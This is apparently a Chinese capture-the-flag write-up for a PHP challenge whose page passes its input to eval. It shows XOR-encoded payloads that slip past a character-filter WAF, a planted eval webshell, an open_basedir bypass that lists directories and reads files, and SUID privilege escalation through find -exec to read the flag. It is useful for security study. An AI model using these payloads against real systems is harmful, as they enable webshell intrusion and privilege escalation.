题目源码:index.php
<?php
include('waf.php');
session_start();
show_source(__FILE__);
error_reporting(0);
$data=$_GET['data'];
if(waf($data)){
eval($data);
}else{
echo "no!";
}
?>
waf.php,暂时未知,后面传马了可以看到,先通地fuzz看过虑了哪些
数字、字母过滤了,取反也过滤了,那么就用异或^来构造个phpinfo();看下信息
?data=((%8F%97%8F%96%91%99%90)^(%ff%ff%ff%ff%ff%ff%ff))();
成功执行,这两个地方需要突破
open_basedir只允许网站根目录和/tmp
disable_fuctions函数禁用比较多
file_put_contents函数没有禁用,可以通过构造这个函数写马
file_put_contents("cmd.php","<?php eval($_POST[a]);?>");
一步一步异或构造:
<?php
//取反后再异或同样长度的%FF
$txt='<?php eval($_POST[a]);?>';
echo strlen($txt);
print(urlencode(~$txt));
//
24
(%C3%C0%8F%97%8F%DF%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%C4%C0%C1)^(24个%FF)
((%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))((%9C%92%9B%D1%8F%97%8F)^(%FF%FF%FF%FF%FF%FF%FF),(%C3%C0%8F%97%8F%DF%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%C4%C0%C1)^(%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF));
成功写马cmd.php,用蚁剑连接,https://改成http://才能连接成功
flag就在根目录,但cat不出来,看一下flag的文件权限为0400,看来需要提权了
利用SUID提权
查找Suid命令
find / -perm -u=s -type f 2>/dev/null
find命令有suid权限,利用find命令的-exec 参数读取flag
find /flag -exec cat {} \;
成功拿到flag
————————————————————————
题后:
waf.php内容
<?php
function waf($data){
if(preg_match('/[b-df-km-uw-z0-9\+\~\{\}]+/i',$data)){
return False;
}else{
return True;
}
}
这里放开了a e l v四个字母,应该可以利用eval命令
绕过open_basedir读取目录列表和文件
读取根目录文件列表
mkdir('a');chdir('a');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('.'));
?data=((%92%94%9B%96%8D)^(%ff%ff%ff%ff%ff))((%9E)^(%ff));((%9C%97%9B%96%8D)^(%ff%ff%ff%ff%ff))((%9E)^(%ff));((%96%91%96%A0%8C%9A%8B)^(%ff%ff%ff%ff%ff%ff%ff))((%90%8F%9A%91%A0%9D%9E%8C%9A%9B%96%8D)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff),(%D1%D1)^(%ff%ff));
((%9C%97%9B%96%8D)^(%ff%ff%ff%ff%ff))((%D1%D1)^(%ff%ff));((%9C%97%9B%96%8D)^(%ff%ff%ff%ff%ff))((%D1%D1)^(%ff%ff));((%9C%97%9B%96%8D)^(%ff%ff%ff%ff%ff))((%D1%D1)^(%ff%ff));((%9C%97%9B%96%8D)^(%ff%ff%ff%ff%ff))((%D1%D1)^(%ff%ff));((%9C%97%9B%96%8D)^(%ff%ff%ff%ff%ff))((%D1%D1)^(%ff%ff));((%96%91%96%A0%8C%9A%8B)^(%ff%ff%ff%ff%ff%ff%ff))((%90%8F%9A%91%A0%9D%9E%8C%9A%9B%96%8D)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff),(%D0)^(%ff));((%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))(%22.%22));
Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => boot [5] => dev [6] => etc [7] => flag [8] => home [9] => lib [10] => lib64 [11] => media [12] => mnt [13] => opt [14] => proc [15] => root [16] => run [17] => sbin [18] => srv [19] => sys [20] => tmp [21] => usr [22] => var )
读文件,这里开始怎么都读不成功,写马后蚁剑中才看到flag权限不对
读flag文件内容
mkdir('b');chdir('b');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile('/flag');
?data=((%92%94%9B%96%8D)^(%ff%ff%ff%ff%ff))((%9C)^(%ff));((%9C%97%9B%96%8D)^(%ff%ff%ff%ff%ff))((%9C)^(%ff));((%96%91%96%A0%8C%9A%8B)^(%ff%ff%ff%ff%ff%ff%ff))((%90%8F%9A%91%A0%9D%9E%8C%9A%9B%96%8D)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff),(%D1%D1)^(%ff%ff));
((%9C%97%9B%96%8D)^(%ff%ff%ff%ff%ff))((%D1%D1)^(%ff%ff));((%9C%97%9B%96%8D)^(%ff%ff%ff%ff%ff))((%D1%D1)^(%ff%ff));((%9C%97%9B%96%8D)^(%ff%ff%ff%ff%ff))((%D1%D1)^(%ff%ff));((%9C%97%9B%96%8D)^(%ff%ff%ff%ff%ff))((%D1%D1)^(%ff%ff));((%9C%97%9B%96%8D)^(%ff%ff%ff%ff%ff))((%D1%D1)^(%ff%ff));((%96%91%96%A0%8C%9A%8B)^(%ff%ff%ff%ff%ff%ff%ff))((%90%8F%9A%91%A0%9D%9E%8C%9A%9B%96%8D)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff),(%D0)^(%ff));((
%8C%97%90%88%A0%8C%90%8A%8D%9C%9A)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))((%D0%99%93%9E%98)^(%ff%ff%ff%ff%ff));
PHP不包括字母,数字和下划线的webshell_php $ []++-CSDN博客